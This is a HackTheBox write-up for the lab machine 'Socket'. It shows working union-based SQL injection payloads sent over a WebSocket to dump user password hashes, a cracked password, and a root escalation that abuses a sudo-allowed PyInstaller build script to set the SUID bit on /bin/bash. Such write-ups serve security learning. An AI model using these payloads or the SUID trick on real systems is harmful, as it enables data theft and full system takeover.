Socket – HackTheBox Writeup
Machine Name: Socket
IP: 10.10.11.206
Difficulty: Medium
Summary
Socket is a medium machine that starts with decompiling and obtaining the python source code for an executable. The source code reveals how one can communicate with the WebSocket server that is hosted. The WebSocket server is vulnerable to SQLi which is leveraged to obtain password hashes for the user. The privilege escalation involves exploiting a script that the user can run as root. This script uses PyInstaller to build files. A python file that sets the suid bit was executed using this script to gain root privileges.
Information Gathering
Nmap scan shows that port 22 (SSH), port 80 (HTTP), and port 5789 are open. Port 80 is running Apache 2.4.52 on Ubuntu. Port 5789 is unknown. Port 80 redirects to “http://qreader.htb/”. Let’s add that to the /etc/hosts file.
Unveiling the Webserver Secrets
The webserver is running a QR code reader application which can read a QR code or embed text inside of it. The footer reveals that the application is built using Flask. Here, I would love to jump onto trying SSTI stuff as that’s the most common vulnerability in CTFs in context of Flask.
I tried to input {{7*7}} payload into the embed text feature to generate a QR code and use the same against the QR reader. Unfortunately, the payload doesn’t work.
But I didn’t give up! The webpage also provides a download app option. Let’s download it and decompile the python code.
Decompiling the Executable
I’m using PyInstaller Extractor to convert the executable into “pyc” file (python byte code).
wget https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/master/pyinstxtractor.py python3 pyinstxtractor.py ~/Downloads/app/qreader
Then, I used pycdc to decomiple the byte code and view the readable source code.
git clone https://github.com/zrax/pycdc cd pycdc cmake . make make check ./pycdc qreader.pyc > qreader.py
The source code reveals that the application communicates through a WebSocket protocol using a server running at “ws://ws.qreader.htb:5789” and it is used to retrieve version information and performing updates.
The above version function uses the “asyncio.run()” function to establish a WebSocket connection with the server specified by the “ws_host” variable and sends the version payload to the /version endpoint. The response from the server is received and stored in the “response” variable. The response is parsed as a JSON string using “json.loads” to convert it into a dictionary. If the response does not contain an “error” key, it means the version information was successfully retrieved.
Identifying the Vulnerability
The above code assumes that the server will always respond with a valid JSON. The lack of proper error handling and validation of the server’s response could lead to injection attacks by a malicious actor.
For example, the WebSocket connection with the server using the “ws_connect” function and it calls “json.dumps” to serialize the payload containing the version information before sending it to the server. Depending on how the server handles this payload and processes the JSON data, there could be a potential SQLi.
The below code simply takes the version number, sends it to the server and prints the response.
import json from websocket import create_connection ws_host = 'ws://ws.qreader.htb:5789' if __name__ == "__main__": while True: version = input("Enter the version: ") payload = json.dumps({'version': version}) ws = create_connection(ws_host + '/version') ws.send(payload) result = ws.recv() print(result) print() ws.close()
The Exploit: SQL Injection
We use a UNION to fetch all the information we need. It is important to note that when performing a union-based SQL injection, it’s important to match the structure of the original query. In this case, the original query in the response contains four columns. So, when we inject our union select statement, we need to provide values for all four columns, even if we are only interested in the “sqlite_version()”, or “sql”. If we need to retrieve more than one column such as “answered_by” and “answer”, we only use 3, 4 at the end as the first two placeholders are used by the columns we wish to retrieve.
sudo python3 qsocket.py # Determine Database 0.0.3" UNION SELECT sqlite_version(), 2, 3, 4-- - # List tables 0.0.3" UNION SELECT group_concat(name),2,3,4 FROM sqlite_master WHERE type='table'-- - # List "Users" table's columns 0.0.3" UNION SELECT sql, 2, 3, 4 FROM sqlite_master WHERE name='users'-- - # Print the username, password, and role columns of Users table. 0.0.3" UNION SELECT username, password, role, 4 FROM users-- - # List "Answers" table's columns 0.0.3" UNION SELECT sql, 2, 3, 4 FROM sqlite_master WHERE name='answers'-- - # Print answered_by and answer from Answers table. 0.0.3" UNION SELECT answered_by, answer, 3, 4 FROM answers-- -
From the above queries, we have retrieved the password hash for “admin”, and users “Mike” and “Thomas Keller”.
Let’s try to crack the MD5 hash using John and get the password.
john --wordlist=/usr/share/wordlists/rockyou.txt --format=RAW-MD5 hash.txt denjanjade122566
I tried using admin, mike, thomas as users to log in to SSH but none worked. Finally, I figured that the username is “tkeller”.
ssh tkeller@qreader.htb
Privilege Escalation
As always, I checked for sudo -l and found that the user can run a script called “build-installer.sh”
Let’s have a look at the script.
The script takes two command-line arguments and checks if the first argument is not equal to ‘cleanup’. If true, it displays an error and exits. The script assigns the first and second command line arguments to the “action” and “name” variables respectively. The script extracts the file extension from the “name” variable using “awk” and stores it in the “ext” variable.
It also checks if the “name” refers to a symbolic link. If it does it displays an error message and exits. The script performs different actions based on the value of “action” variable.
If “action” is “build”, it checks if the file extension is “spec”. If it is, it removes the “/opt/shared/build” and “/opt/shared/dist” directories, runs “pyinstaller” on the “name” file, and moves the resulting dist and build directories to “/opt/shared”.
Exploiting PyInstaller to Gain Root
Since the “build” action runs “pyinstaller” if the action is “build”, we could create a python script that sets the suid bit to bash binary and run it with the sudo privileges provided, we could gain root privileges.
Let’s create a “.spec” file:
nano rootme.spec import os os.system("chmod u+s /bin/bash")
Now we can run the “build-installer.sh” script as sudo as it would use “pyinstaller” to build and execute the python code in the “.spec” file, giving us root access.
sudo /usr/local/sbin/build-installer.sh build rootme.spec bash -p
Pwned!